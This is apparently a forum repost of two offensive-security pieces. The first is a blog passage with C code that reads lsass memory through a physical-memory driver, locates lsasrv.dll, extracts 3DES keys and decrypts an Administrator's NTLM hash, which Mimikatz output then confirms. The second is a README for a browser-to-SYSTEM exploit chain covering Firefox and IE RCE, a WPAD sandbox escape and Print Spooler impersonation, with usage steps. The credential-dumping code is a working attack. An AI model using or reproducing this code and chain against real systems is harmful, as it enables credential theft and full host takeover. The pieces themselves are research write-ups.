LastContiguousPte : 0x00000002`00000006 _MMPTE +0x060 ViewLinks : _LIST_ENTRY [ 0x00000006`00000029 - 0x00000000`00000000 ] +0x070 VadsProcess : 0xffffe786`ed185c70 _EPROCESS +0x078 u4 : <anonymous-tag> +0x080 FileObject : 0xffffe786`ed185d98 _FILE_OBJECT kd> dt nt!_SUBSECTION 0xffffe786`ed185d60 +0x000 ControlArea : 0xffffe786`ed185c70 _CONTROL_AREA <============================== +0x008 SubsectionBase : 0xffffae0e`cab53f58 _MMPTE +0x010 NextSubsection : 0xffffe786`ed185d98 _SUBSECTION +0x018 GlobalPerSessionHead : _RTL_AVL_TREE +0x018 CreationWaitList : (null) +0x018 SessionDriverProtos : (null) +0x020 u : <anonymous-tag> +0x024 StartingSector : 0x2b +0x028 NumberOfFullSectors : 0x2c +0x02c PtesInSubsection : 6 +0x030 u1 : <anonymous-tag> +0x034 UnusedPtes : 0y000000000000000000000000000000 (0) +0x034 ExtentQueryNeeded : 0y0 +0x034 DirtyPages : 0y0 lkd> dt nt!_CONTROL_AREA 0xffffe786`ed185c70 +0x000 Segment : 0xffffae0e`ce0c9f50 _SEGMENT +0x008 ListHead : _LIST_ENTRY [ 0xffffe786`ed1b1210 - 0xffffe786`ed1b1210 ] +0x008 AweContext : 0xffffe786`ed1b1210 Void +0x018 NumberOfSectionReferences : 1 +0x020 NumberOfPfnReferences : 0xf +0x028 NumberOfMappedViews : 1 +0x030 NumberOfUserReferences : 2 +0x038 u : <anonymous-tag> +0x03c u1 : <anonymous-tag> +0x040 FilePointer : _EX_FAST_REF <================= +0x048 ControlAreaLock : 0n0 +0x04c ModifiedWriteCount : 0 +0x050 WaitList : (null) +0x058 u2 : <anonymous-tag> +0x068 FileObjectLock : _EX_PUSH_LOCK +0x070 LockedPages : 1 +0x078 u3 : <anonymous-tag> So at 0xffffe786ed185c70 plus 0x40 we have a field called FilePointer and it is an EX_FAST_REF. In order to retrieve the correct pointer, we have to retrieve the pointer from this position and turn to zero the last digit: lkd> dt nt!_EX_FAST_REF 0xffffe786`ed185c70+0x40 +0x000 Object : 0xffffe786`ed19539c Void <=========================== & 0xfffffffffffffff0 +0x000 RefCnt : 0y1100 +0x000 Value : 0xffffe786`ed19539c So 0xffffe786ed19539c & 0xfffffffffffffff0 is 0xffffe786ed195390, which is a pointer to a _FILE_OBJECT struct: lkd> dt nt!_FILE_OBJECT 0xffffe786`ed195390 +0x000 Type : 0n5 +0x002 Size : 0n216 +0x008 DeviceObject : 0xffffe786`e789c060 _DEVICE_OBJECT +0x010 Vpb : 0xffffe786`e77df4c0 _VPB +0x018 FsContext : 0xffffae0e`cd2c8170 Void +0x020 FsContext2 : 0xffffae0e`cd2c83e0 Void +0x028 SectionObjectPointer : 0xffffe786`ed18e7f8 _SECTION_OBJECT_POINTERS +0x030 PrivateCacheMap : (null) +0x038 FinalStatus : 0n0 +0x040 RelatedFileObject : (null) +0x048 LockOperation : 0 '' +0x049 DeletePending : 0 '' +0x04a ReadAccess : 0x1 '' +0x04b WriteAccess : 0 '' +0x04c DeleteAccess : 0 '' +0x04d SharedRead : 0x1 '' +0x04e SharedWrite : 0 '' +0x04f SharedDelete : 0x1 '' +0x050 Flags : 0x44042 +0x058 FileName : _UNICODE_STRING "\Windows\System32\lsass.exe" <======== /!\ +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0 +0x070 Waiters : 0 +0x074 Busy : 0 +0x078 LastLock : (null) +0x080 Lock : _KEVENT +0x098 Event : _KEVENT +0x0b0 CompletionContext : (null) +0x0b8 IrpListLock : 0 +0x0c0 IrpList : _LIST_ENTRY [ 0xffffe786`ed195450 - 0xffffe786`ed195450 ] +0x0d0 FileObjectExtension : (null) Finally! At offset 0x58 is an _UNICODE_STRING struct that contains the path to the image asociated with this memory region. In order to get this info, we need to parse each node found and get deep in this rollercoaster of structs, reading each pointer from the target offset. So… finally we are going to have something like: void walkAVL(ULONGLONG VadRoot, ULONGLONG VadCount) { /* Variables used to walk the AVL tree*/ ULONGLONG* queue; BOOL result; DWORD bytes_read = 0; LARGE_INTEGER reader; ULONGLONG cursor = 0; ULONGLONG count = 1; ULONGLONG last = 1; ULONGLONG startingVpn = 0; ULONGLONG endingVpn = 0; ULONGLONG startingVpnHigh = 0; ULONGLONG endingVpnHigh = 0; ULONGLONG start = 0; ULONGLONG end = 0; VAD* vadList = NULL; printf("[+] Starting to walk _RTL_AVL_TREE...\n"); queue = (ULONGLONG *)malloc(sizeof(ULONGLONG) * VadCount * 4); // Make room for our queue queue[0] = VadRoot; // Node 0 vadList = (VAD*)malloc(VadCount * sizeof(*vadList)); // Save all the VADs in an array. We do not really need it (because we can just break when the lsasrv.dll is found) but hey... maybe we want to reuse this code in the future while (count <= VadCount) { ULONGLONG currentNode; ULONGLONG left = 0; ULONGLONG right = 0; ULONGLONG subsection = 0; ULONGLONG control_area = 0; ULONGLONG filepointer = 0; ULONGLONG fileobject = 0; ULONGLONG filename = 0; USHORT pathLen = 0; LPWSTR path = NULL; // printf("Cursor [%lld]\n", cursor); currentNode = queue[cursor]; // Current Node, at start it is the VadRoot pointer if (currentNode == 0) { cursor++; continue; } reader.QuadPart = v2p(currentNode); // Get Physical Address left = readPhysMemPointer(reader); //Read 8 bytes and save it as "left" node queue[last++] = left; //Add the new node //printf("[<] Left: 0x%08llx\n", left); reader.QuadPart = v2p(currentNode + 0x8); // Get Physical Address of right node right = readPhysMemPointer(reader); //Save the pointer queue[last++] = right; //Add the new node //printf("[>] Right: 0x%08llx\n", right); // Get the start address reader.QuadPart = v2p(currentNode + 0x18); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &startingVpn, 4, &bytes_read, NULL); reader.QuadPart = v2p(currentNode + 0x20); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &startingVpnHigh, 1, &bytes_read, NULL); start = (startingVpn << 12) | (startingVpnHigh << 44); // Get the end address reader.QuadPart = v2p(currentNode + 0x1c); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &endingVpn, 4, &bytes_read, NULL); reader.QuadPart = v2p(currentNode + 0x21); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &endingVpnHigh, 1, &bytes_read, NULL); end = (((endingVpn + 1) << 12) | (endingVpnHigh << 44)); //Get the pointer to Subsection (offset 0x48 of __mmvad) reader.QuadPart = v2p(currentNode + 0x48); subsection = readPhysMemPointer(reader); if (subsection != 0 && subsection != 0xffffffffffffffff) { //Get the pointer to ControlArea (offset 0 of _SUBSECTION) reader.QuadPart = v2p(subsection); control_area = readPhysMemPointer(reader); if (control_area != 0 && control_area != 0xffffffffffffffff) { //Get the pointer to FileObject (offset 0x40 of _CONTROL_AREA) reader.QuadPart = v2p(control_area + 0x40); fileobject = readPhysMemPointer(reader); if (fileobject != 0 && fileobject != 0xffffffffffffffff) { // It is an _EX_FAST_REF, so we need to mask the last byte fileobject = fileobject & 0xfffffffffffffff0; //Get the pointer to path length (offset 0x58 of _FILE_OBJECT is _UNICODE_STRING, the len plus null bytes is at +0x2) reader.QuadPart = v2p(fileobject + 0x58 + 0x2); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &pathLen, 2, &bytes_read, NULL); //Get the pointer to the path name (offset 0x58 of _FILE_OBJECT is _UNICODE_STRING, the pointer to the buffer is +0x08) reader.QuadPart = v2p(fileobject + 0x58 + 0x8); filename = readPhysMemPointer(reader); //Save the path name path = (LPWSTR)malloc(pathLen * sizeof(wchar_t)); reader.QuadPart = v2p(filename); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, path, pathLen * 2, &bytes_read, NULL); } } } /*printf("[0x%08llx]\n", currentNode); printf("[!] Subsection 0x%08llx\n", subsection); printf("[!] ControlArea 0x%08llx\n", control_area); printf("[!] FileObject 0x%08llx\n", fileobject); printf("[!] PathLen %d\n", pathLen); printf("[!] Buffer with path name 0x%08llx\n", filename); printf("[!] Path name: %S\n", path); */ // Save the info in our list vadList[count - 1].id = count - 1; vadList[count - 1].vaddress = currentNode; vadList[count - 1].start = start; vadList[count - 1].end = end; vadList[count - 1].size = end - start; memset(vadList[count - 1].image, 0, MAX_PATH); if (path != NULL) { wcstombs(vadList[count - 1].image, path, MAX_PATH); free(path); } count++; cursor++; } //Just print the VAD list printf("\t\t===================[VAD info]===================\n"); for (int i = 0; i < VadCount; i++) { printf("[%lld] (0x%08llx) [0x%08llx-0x%08llx] (%lld bytes)\n", vadList[i].id, vadList[i].vaddress, vadList[i].start, vadList[i].end, vadList[i].size); if (vadList[i].image[0] != 0) { printf(" |\n +---->> %s\n", vadList[i].image); } } printf("\t\t================================================\n"); for (int i = 0; i < VadCount; i++) { if (!strcmp(vadList[i].image, "\\Windows\\System32\\lsasrv.dll")) { // Is this our target? printf("[!] LsaSrv.dll found! [0x%08llx-0x%08llx] (%lld bytes)\n", vadList[i].start, vadList[i].end, vadList[i].size); // TODO lootLsaSrv(vadList[i].start, vadList[i].end, vadList[i].size); break; } } free(vadList); free(queue); return; } This looks like… (...) [161] (0xffffa48baf677ba0) [0x7ff8122b0000-0x7ff8122e0000] (196608 bytes) | +---->> \Windows\System32\CertPolEng.dll [162] (0xffffa48bb1f640a0) [0x7ff8183e0000-0x7ff818422000] (270336 bytes) | +---->> \Windows\System32\ngcpopkeysrv.dll [163] (0xffffa48bb1f63ce0) [0x7ff83df10000-0x7ff83df2a000] (106496 bytes) | +---->> \Windows\System32\tbs.dll [164] (0xffffa48bb1f66a80) [0x7ff83e270000-0x7ff83e2e3000] (471040 bytes) | +---->> \Windows\System32\cryptngc.dll ================================================ [!] LsaSrv.dll found! [0x7ff845130000-0x7ff8452ce000] (1695744 bytes) To recap at this point we: Can translate virtual addresses to physical Got the location of the LsaSrv.dll module inside the lsass process memory Stray Mimikatz sings Runnaway Boys This time we are only interested in retrieving NTLM Hashes, so we are going to implement something like the sekurlsa::msv from Mimikatz as PoC (once we have located the process memory, and its modules, it is trivial to imitate any functionatility from Mimikatz so I picked the quickier to implement as PoC). This is well explained in the article “Uncovering Mimikatz ‘msv’ and collecting credentials through PyKD” from Matteo Malvica, so it is redundant to explain it again here… but in essence we are going to search for signatures inside lsasrv.dll and then retrieve the info needed to locate the LogonSessionList struct and the crypto keys/IVs needed. Also another good related article to read is “Exploring Mimikatz - Part 1 - WDigest” by @xpn. As I am imitating the post from Matteo Malvica, I am going to retrieve only the cryptoblob encrypted with Triple-DES. Here is our shitty code: void lootLsaSrv(ULONGLONG start, ULONGLONG end, ULONGLONG size) { LARGE_INTEGER reader; DWORD bytes_read = 0; LPSTR lsasrv = NULL; ULONGLONG cursor = 0; ULONGLONG lsasrv_size = 0; ULONGLONG original = 0; BOOL result; ULONGLONG LogonSessionListCount = 0; ULONGLONG LogonSessionList = 0; ULONGLONG LogonSessionList_offset = 0; ULONGLONG LogonSessionListCount_offset = 0; ULONGLONG iv_offset = 0; ULONGLONG hDes_offset = 0; ULONGLONG DES_pointer = 0; unsigned char* iv_vector = NULL; unsigned char* DES_key = NULL; KIWI_BCRYPT_HANDLE_KEY h3DesKey; KIWI_BCRYPT_KEY81 extracted3DesKey; LSAINITIALIZE_NEEDLE LsaInitialize_needle = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 }; LOGONSESSIONLIST_NEEDLE LogonSessionList_needle = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 }; PBYTE LsaInitialize_needle_buffer = NULL; PBYTE needle_buffer = NULL; int offset_LsaInitialize_needle = 0; int offset_LogonSessionList_needle = 0; ULONGLONG currentElem = 0; original = start; /* Save the whole region in a buffer */ lsasrv = (LPSTR)malloc(size); while (start < end) { DWORD bytes_read = 0; DWORD bytes_written = 0; CHAR tmp = NULL; reader.QuadPart = v2p(start); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &tmp, 1, &bytes_read, NULL); lsasrv[cursor] = tmp; cursor++; start = original + cursor; } lsasrv_size = cursor; // Use mimikatz signatures to find the IV/keys printf("\t\t===================[Crypto info]===================\n"); LsaInitialize_needle_buffer = (PBYTE)malloc(sizeof(LSAINITIALIZE_NEEDLE)); memcpy(LsaInitialize_needle_buffer, &LsaInitialize_needle, sizeof(LSAINITIALIZE_NEEDLE)); offset_LsaInitialize_needle = memmem((PBYTE)lsasrv, lsasrv_size, LsaInitialize_needle_buffer, sizeof(LSAINITIALIZE_NEEDLE)); printf("[*] Offset for InitializationVector/h3DesKey/hAesKey is %d\n", offset_LsaInitialize_needle); memcpy(&iv_offset, lsasrv + offset_LsaInitialize_needle + 0x43, 4); //IV offset printf("[*] IV Vector relative offset: 0x%08llx\n", iv_offset); iv_vector = (unsigned char*)malloc(16); memcpy(iv_vector, lsasrv + offset_LsaInitialize_needle + 0x43 + 4 + iv_offset, 16); printf("\t\t[/!\\] IV Vector: "); for (int i = 0; i < 16; i++) { printf("%02x", iv_vector[i]); } printf(" [/!\\]\n"); free(iv_vector); memcpy(&hDes_offset, lsasrv + offset_LsaInitialize_needle - 0x59, 4); //DES KEY offset printf("[*] 3DES Handle Key relative offset: 0x%08llx\n", hDes_offset); reader.QuadPart = v2p(original + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset); DES_pointer = readPhysMemPointer(reader); printf("[*] 3DES Handle Key pointer: 0x%08llx\n", DES_pointer); reader.QuadPart = v2p(DES_pointer); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY), &bytes_read, NULL); reader.QuadPart = v2p((ULONGLONG)h3DesKey.key); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &extracted3DesKey, sizeof(KIWI_BCRYPT_KEY81), &bytes_read, NULL); DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret); memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret); printf("\t\t[/!\\] 3DES Key: "); for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) { printf("%02x", DES_key[i]); } printf(" [/!\\]\n"); free(DES_key); printf("\t\t================================================\n"); needle_buffer = (PBYTE)malloc(sizeof(LOGONSESSIONLIST_NEEDLE)); memcpy(needle_buffer, &LogonSessionList_needle, sizeof(LOGONSESSIONLIST_NEEDLE)); offset_LogonSessionList_needle = memmem((PBYTE)lsasrv, lsasrv_size, needle_buffer, sizeof(LOGONSESSIONLIST_NEEDLE)); memcpy(&LogonSessionList_offset, lsasrv + offset_LogonSessionList_needle + 0x17, 4); printf("[*] LogonSessionList Relative Offset: 0x%08llx\n", LogonSessionList_offset); LogonSessionList = original + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset; printf("[*] LogonSessionList: 0x%08llx\n", LogonSessionList); reader.QuadPart = v2p(LogonSessionList); printf("\t\t===================[LogonSessionList]==================="); while (currentElem != LogonSessionList) { if (currentElem == 0) { currentElem = LogonSessionList; } reader.QuadPart = v2p(currentElem); currentElem = readPhysMemPointer(reader); //printf("Element at: 0x%08llx\n", currentElem); USHORT length = 0; LPWSTR username = NULL; ULONGLONG username_pointer = 0; reader.QuadPart = v2p(currentElem + 0x90); //UNICODE_STRING = USHORT LENGHT USHORT MAXLENGTH LPWSTR BUFFER result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &length, 2, &bytes_read, NULL); //Read Lenght Field username = (LPWSTR)malloc(length + 2); memset(username, 0, length + 2); reader.QuadPart = v2p(currentElem + 0x98); username_pointer = readPhysMemPointer(reader); //Read LPWSTR reader.QuadPart = v2p(username_pointer); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, username, length, &bytes_read, NULL); //Read string at LPWSTR wprintf(L"\n[+] Username: %s \n", username); free(username); ULONGLONG credentials_pointer = 0; reader.QuadPart = v2p(currentElem + 0x108); credentials_pointer = readPhysMemPointer(reader); if (credentials_pointer == 0) { printf("[+] Cryptoblob: (empty)\n"); continue; } printf("[*] Credentials Pointer: 0x%08llx\n", credentials_pointer); ULONGLONG primaryCredentials_pointer = 0; reader.QuadPart = v2p(credentials_pointer + 0x10); primaryCredentials_pointer = readPhysMemPointer(reader); printf("[*] Primary credentials Pointer: 0x%08llx\n", primaryCredentials_pointer); USHORT cryptoblob_size = 0; reader.QuadPart = v2p(primaryCredentials_pointer + 0x18); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, &cryptoblob_size, 4, &bytes_read, NULL); if (cryptoblob_size % 8 != 0) { printf("[*] Cryptoblob size: (not compatible with 3DEs, skipping...)\n"); continue; } printf("[*] Cryptoblob size: 0x%x\n", cryptoblob_size); ULONGLONG cryptoblob_pointer = 0; reader.QuadPart = v2p(primaryCredentials_pointer + 0x20); cryptoblob_pointer = readPhysMemPointer(reader); //printf("Cryptoblob pointer: 0x%08llx\n", cryptoblob_pointer); unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size); reader.QuadPart = v2p(cryptoblob_pointer); result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN); result = ReadFile(pmem_fd, cryptoblob, cryptoblob_size, &bytes_read, NULL); printf("[+] Cryptoblob:\n"); for (int i = 0; i < cryptoblob_size; i++) { printf("%02x", cryptoblob[i]); } printf("\n"); } printf("\t\t================================================\n"); free(needle_buffer); free(lsasrv); } If you wonder why I am not calling windows API to decrypt the info… It was 4:00 AM when we wrote this . Anyway, fire in the hole! [!] LsaSrv.dll found! [0x7ff845130000-0x7ff8452ce000] (1695744 bytes) ===================[Crypto info]=================== [*] Offset for InitializationVector/h3DesKey/hAesKey is 305033 [*] IV Vector relative offset: 0x0013be98 [/!\] IV Vector: d2e23014c6608529132d0f21144ee0df [/!\] [*] 3DES Handle Key relative offset: 0x0013bf4c [*] 3DES Handle Key pointer: 0x1d4d3610000 [/!\] 3DES Key: 46bca8b85491846f5c7fb42700287d0437c49c15e7b76280 [/!\] ================================================ [*] LogonSessionList Relative Offset: 0x0012b0f1 [*] LogonSessionList: 0x7ff8452b52a0 ===================[LogonSessionList]=================== [+] Username: Administrador [*] Credentials Pointer: 0x1d4d3ba96c0 [*] Primary credentials Pointer: 0x1d4d3ae49f0 [*] Cryptoblob size: 0x1b0 [+] Cryptoblob: f0e368d8302af9bbcd247687552e8207d766e674c99a61907e78a173d5e4d475df165ec1fcba3b5d3463f8bd7ce5fa6457d043147dcf26a6e03ec12d1216d57953a7f4cbdcaeec2c6a27787c332db706a5287a77957d09d546590d7f32a117f69d983290c01b1ad83cf66916ee76314c17605518a17d7ea9db2de530b1298e5178fcc638e1ae106542dcb46e37a09943dd10e3e2f15a99b93989361aa3a6e6ed8e98aab5578712bcf0f9e5a5372542f61a9032bf5d110278253c4f602107a02bf2cfe07fae7f81a4dee6440a596278e7c06eee06de5aa7f705bd6132dea0327ad869eca5da1538e098edfefcd050dd6e36a0a3196cdf5ee6786d0b62a3d526981f6c4fc503d43238887cf6f3c51cca01b912194242d7e5a76522aaf791c467ea6035a06219ea2aafc2860e6db56ddb77936871316e3f18fd9b1425f948c925171829e460cf7c31f9a0396705bcb1bfd0055b25de160cf816472180270f36e9224868d1377349f7bb001e7edfe52dbd1915a70fb686f850086732c57ba26423f7a3691ddb9b23b5f2166a56ee82d30571ffb79b222e707f6dc2cc5f986723d99229345b2d0b97371abb1573f59efecd6a Let’s decrypt with python (yeah, we know, we are the worst ) >>> from pyDes import * >>> k = triple_des("46bca8b85491846f5c7fb42700287d0437c49c15e7b76280".decode("hex"), CBC, "\x00\x0d\x56\x99\x63\x93\x95\xd0") >>> k.decrypt("f0e368d8302af9bbcd247687552e8207d766e674c99a61907e78a173d5e4d475df165ec1fcba3b5d3463f8bd7ce5fa6457d043147dcf26a6e03ec12d1216d57953a7f4cbdcaeec2c6a27787c332db706a5287a77957d09d546590d7f32a117f69d983290c01b1ad83cf66916ee76314c17605518a17d7ea9db2de530b1298e5178fcc638e1ae106542dcb46e37a09943dd10e3e2f15a99b93989361aa3a6e6ed8e98aab5578712bcf0f9e5a5372542f61a9032bf5d110278253c4f602107a02bf2cfe07fae7f81a4dee6440a596278e7c06eee06de5aa7f705bd6132dea0327ad869eca5da1538e098edfefcd050dd6e36a0a3196cdf5ee6786d0b62a3d526981f6c4fc503d43238887cf6f3c51cca01b912194242d7e5a76522aaf791c467ea6035a06219ea2aafc2860e6db56ddb77936871316e3f18fd9b1425f948c925171829e460cf7c31f9a0396705bcb1bfd0055b25de160cf816472180270f36e9224868d1377349f7bb001e7edfe52dbd1915a70fb686f850086732c57ba26423f7a3691ddb9b23b5f2166a56ee82d30571ffb79b222e707f6dc2cc5f986723d99229345b2d0b97371abb1573f59efecd6a".decode("hex"))[74:90].encode("hex") '191d643eca7a6b94a3b6df1469ba2846' We can check that effectively the Administrador’s NTLM hash is 191d643eca7a6b94a3b6df1469ba2846: C:\Windows\system32>C:\Users\ortiga.japonesa\Downloads\mimikatz-master\mimikatz-master\x64\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 May 8 2021 00:30:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # sekurlsa::msv [!] LogonSessionListCount: 0x7ff8452b4be0 [!] LogonSessionList: 0x7ff8452b52a0 [!] Data Address: 0x1d4d3bfb5c0 Authentication Id : 0 ; 120327884 (00000000:072c0ecc) Session : CachedInteractive from 1 User Name : Administrador Domain : ACUARIO Logon Server : WIN-UQ1FE7E6SES Logon Time : 08/05/2021 0:44:32 SID : S-1-5-21-3039666266-3544201716-3988606543-500 msv : [00000003] Primary * Username : Administrador * Domain : ACUARIO * NTLM : 191d643eca7a6b94a3b6df1469ba2846 * SHA1 : 5f041d6e1d3d0b3f59d85fa7ff60a14ae1a5963d * DPAPI : b4772e37b9a6a10785ea20641c59e5b2 MMmm… that PtH smell… EoF Playing with Windows Internals and reading Mimikatz code is a nice exercise to learn and practice new things. As we said at the begin, probably this approach is not the best (our knowledge on this topic is limited), so if you spot errors/misconceptions/typos please contact us so we can fix it. The code can be found in our repo as SnoopyOwl. We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC. updated_at 08-05-2021   Sursa: https://adepts.of0x.cc/physical-graffiti-lsass/
    • ________                 ___.    .__                 _________  __ \______ \    ____   __ __\_ |__  |  |    ____       /   _____/_/  |_ _____  _______  |    |  \  /  _ \ |  |  \| __ \ |  |  _/ __ \      \_____  \ \   __\\__  \ \_  __ \  |    `   \(  <_> )|  |  /| \_\ \|  |__\  ___/      /        \ |  |   / __ \_|  | \/ /_______  / \____/ |____/ |___  /|____/ \___  >    /_______  / |__|  (____  /|__|         \/                    \/            \/             \/             \/ Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain                             ______________                             | Remote PAC |                              |____________|                                      ^                                    | HTTPS _______________  RPC/ALPC   _______________   RPC/ALPC   _______________ | firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe | |_____________|             |_____________| <----------- |_____________|                                    |          RPC/Pipe                                    |                _______________     |                 | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM                |_____________| ~ Usage To run this exploit chain, download the full release/folder structure to an unpatched Windows 8.1 x64 machine and load either of these two .html files while connected to the internet: - CVE-2019-17026\Forrest_Orr_CVE-2019-17026_64-bit.html - via Firefox v65-69   64-bit. - CVE-2020-0674\Forrest_Orr_CVE-2020-0674_64-bit.html - via Internet Explorer   11 64-bit (Enhanced Protected Mode enabled).    The initial RCE may be run through either IE or FF, and will result in the execution of a cmd.exe process to your user session with NT AUTHORY\SYSTEM privileges. The individual exploits have been successfully tested in the following context: - CVE-2020-0674 - IE8 64-bit and WPAD on Windows 7 x64, IE11 64-bit and WPAD   on Windows 8.1 x64. - CVE-2019-17026 - Firefox 65-69 (64-bit) on Windows 7, 8.1 and 10 x64. Note that while the individual exploits themselves may work on multiple versions of Windows, the full chain will only work on Windows 8.1. ~ Overview While this exploit chain makes use of two (now patched) 0day exploits, it also contains a sandbox escape and EoP technique which are still as of 5/4/2021 not patched, and remain feasible for integration into future attacka chains today. The Darkhotel APT group (believed to originate from South Korea) launched a campaign againt Chinese and Japanese business executives and government officials through a combination of spear phishing and hacking of luxury hotel networks in early 2020. The exploits they used (CVE-2020-0674 and CVE-2019-17026, together dubbed "Double Star") were slight 0day variations of old/existing exploits from 2019: specifically UAF bugs in the legacy JavaScript engine (jscript.dll) and aliasing bugs in the Firefox IonMonkey engine. What made the use of these 0day interesting went beyond their ability to achieve RCE through the Internet Explorer and Firefox web browsers: CVE-2020-0674 in  particular (a UAF in the legacy jscript.dll engine) is exploitable in any process in which legacy JS code can be executed via jscript.dll. In late 2017, Google Project Zero released a blog post entitled "aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript" [1]. This research brought to light a very interesting attack vector which (at the time) affected all versions of Windows from 7 onward: the WPAD service (or "WinHTTP Web Proxy Auto-Discovery Service") contains an ancient functionality for updating proxy configurations via a "PAC" file. Any user which can speak to the WPAD service (running within an svchost.exe process as LOCAL SERVICE) over RPC can coerce it into downloading a PAC file from a remote URL containing JS code which is responsible for setting the correct proxy configuration for a user supplied URL. Most notably, the legacy jscript.dll engine is used to parse these PAC files. This opened up an attack vector wherein any process (regardless of limited user privileges or even sandboxing) could connect to the local WPAD service over ALPC and coerce it into downloading a malicious PAC file containing a jscript.dll exploit from a remote URL. This would result in code execution in the context of LOCAL SERVICE. Darkhotel took this concept and used it as their sandbox escape after they obtained RCE via Firefox or Internet Explorer. The next step in their attack chain is unclear: it appears that they somehow elevated their privileges from LOCAL SERVICE to SYSTEM and proceeded to execute their malware from this context. In all of the analysis of the Darkhotel Double Star attack chain, I was not able to find a detailed explanation of how they achieved this, however it is safe to assume that their technique need not have been a 0day exploit. Processes launched by the LOCAL SERVICE account are provided with the SeImpersonate privilege by  default and thus can elevate their security context in the event they can coerce a privileged connection to themselves via named pipes or ALPC.  It is likely that the Darkhotel APT group used Rotten Potato for their EoP from LOCAL SERVICE, as this was the simplest and most common technique in widespread use several years ago (as well as the technique used in the Google Project Zero "aPAColypse now" research, however I settled on a more robust/modern technique instead: named pipe impersonation of a coerced RPC connection from the Print Spooler [2]. This technique combined an old RPC interface popular among Red Teamers for TGT harvesting in environments with unconstrained delegation enabled (aka the "Printer Bug") with an impersonation/Rotten Potato style attack adapted for local privilege escalation.  Additionally, rather than targeting Windows 7, I decided to focus on Windows 8.1 due to the challenge presented by its enhanced security mitigations such as non-deterministic LFH, high entropy ASLR and Control Flow Guard (CFG). ~ CVE-2020-0674 Malicious PAC file containing CVE-2020-0674 UAF exploit - downloaded into the WPAD service svchost.exe (LOCAL SERVICE) via RPC trigger. Contains stage three shellcode (Spool Potato EoP). This exploit may serve a dual purpose as an initial RCE attack vector through IE11 64-bit aas well. _______________  RPC   _______________  CVE-2020-0674   ________________ | firefox.exe | -----> | svchost.exe | ---------------> | Spool Potato | |_____________|        |_____________|                  | shellcode    |                                                         |______________| ~ CVE-2019-17026 Firefox 64-bit IonMonkey JIT/Type Confusion RCE. Represents the initial attack vector when a user visits an infected web page with a vulnerable version of Firefox. This component contains a stage one (egg hunter) and stage two (WPAD sandbox escape) shellcode, the latter of which is only effective on Windows 8.1 due to hardcoded RPC IDL interface details for WPAD. _______________  JIT spray   ______________  DEP bypass   _______________________ | firefox.exe | -----------> | Egg hunter | ------------> | WPAD sandbox escape | |_____________|              | shellcode  |               | shellcode (heap)    |                              |____________|               |_____________________| ~ Payloads This exploit chain has three shellcode payloads, found within this repository under Payloads\Compiled\JS in their JavaScript encoded shellcode form: - Stage one: egg hunter shellcode (ASM). - Stage two: WPAD sandbox escape shellcode (C DLL, sRDI to shellcode). - Stage three: Spool Potato privilege escalation shellcode (C DLL, sRDI to   shellcode). When IE is used as the initial RCE attack vector, only the stage two and three shellcodes are needed. When FF is used as the initial RCE attack vector, all three are used. I've also included several additional shellcodes for testing purposes (a MessageBoxA and WinExec shellcode). Note when using these that in the case of Firefox CVE-2019-17026, the shellcode should be represented as a Uint8Array prefixed by the following egg QWORD: 0x8877665544332211. In the case of CVE-2020-0674, the shellcode should be represented as a DWORD array. Also note that when using a WinExec or MessageBoxA payload in conjunction with Firefox CVE-2019-17026, you must adjust the sandbox content level in the "about:config" down to 2 first.  ~ Credits maxpl0it      - for writing the initial analysis and PoC for CVE-2019-17026                 with a focus on the Linux OS, and for writing the initial                 analysis and PoC for CVE-2020-0674 with a focus on IE8/11 on                 Windows 7 x64.              0vercl0k      - for documenting IonMonkey internals in relation to aliasing and                 the GVN. HackSys Team  - for tips on the WPAD service and low level JS debugging. itm4n         - for the original research on combining the RPC printer bug with                 named pipe impersonation.                  ~ Links [1] https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html [2] https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/   Sursa: https://github.com/forrest-orr/DoubleStar
